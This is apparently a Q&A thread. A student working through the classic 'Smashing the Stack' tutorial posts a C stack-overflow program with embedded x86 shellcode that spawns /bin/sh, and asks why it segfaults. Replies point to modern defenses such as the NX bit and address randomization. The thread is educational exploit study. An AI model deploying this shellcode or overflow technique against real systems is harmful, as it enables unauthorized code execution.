0

I've been going through "Smashing the stack for fun and profit" and am having issues executing shell code through a buffer overflow.

Running on Linux, Ubuntu 32bit via VirtualBox gcc compiler with -fno-stack-protector -ggdb -g tags

My code is identical to the reading and I don't understand why it's not working. I get a segmentation fault. When I use gbd to debug it says "0x08048268 in ??" which I know means it can't find the address in the scope. I don't understand why it shouldn't be able to.

I am compiling with stack guard off as well.

 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
   char buffer[96];
   int i;
   long *long_ptr = (long *) large_string;
   for (i = 0; i < 32; i++)
      *(long_ptr + i) = (int) buffer;
   for (i = 0; i < strlen(shellcode); i++)
      large_string[i] = shellcode[i];
   large_string[127] = '\0';
   strcpy(buffer,large_string);
}
Daven.Geno
  • 21
  • 4

1 Answers1

2

That’s an old article, but I’ve cited it too. The problem is that your code is “identical to the reading.” Those aren’t magic numbers from a script. Pay close attention to how Aleph One determined which values to smash the stack with for that program.

And keep in mind that the article is from 1996, and the kernel and GCC devs have read it too.

Davislor
  • 12,287
  • 2
  • 26
  • 36
  • I'm confused why our values should vary. He doesn't elaborate at all where the 128 and 96 came from. So I assumed that's just the string length he chose – Daven.Geno Sep 24 '15 at 07:25
  • Right. If you read on, he does talk about how to choose a string size and pad with `nop` instructions. I don’t off the top of my head know exactly what GCC and the kernel are doing differently to make it fail, possibly the NX bit, but keep in mind that that article is from 1996 and everybody else has read it too. – Davislor Sep 24 '15 at 07:42
  • :/ It doesn't make sense to go on to further examples if I can't get this one. I've been thinking about it and i changed the ++ in the first for loop to +=4, since a long is 4 bits. I no longer get a seg fault however the shell never executes. Do you think I'm on the right track? or not at all – Daven.Geno Sep 24 '15 at 08:11
  • gdb says it exits with code 0230, looking that up now – Daven.Geno Sep 24 '15 at 08:13
  • Now I’m curious. I’d expect a modern kernel to set the memory pages of the stack non-executable specifically to prevent this from working. – Davislor Sep 24 '15 at 08:18
  • Not sure if it matters but I'm working on a vm configured for these type of exercises. I just logged into a different root user that has address space randomization off and not the gbd says it exits with code 0150. I've been searching the exit codes and haven't found any straight forward answer to what the codes stand for. Are they helpful at all? – Daven.Geno Sep 24 '15 at 08:27
  • See here: https://stackoverflow.com/questions/1101957/are-there-any-standard-exit-status-codes-in-linux – Davislor Sep 24 '15 at 08:33
  • hmm so the error code doesn't seem to be very helpful at all.. I don't understand why this is so impossible and not even a complex example – Daven.Geno Sep 24 '15 at 08:40
  • 1
    You can't expect that 20 year old exploits should still work. – Klas Lindbäck Sep 24 '15 at 10:04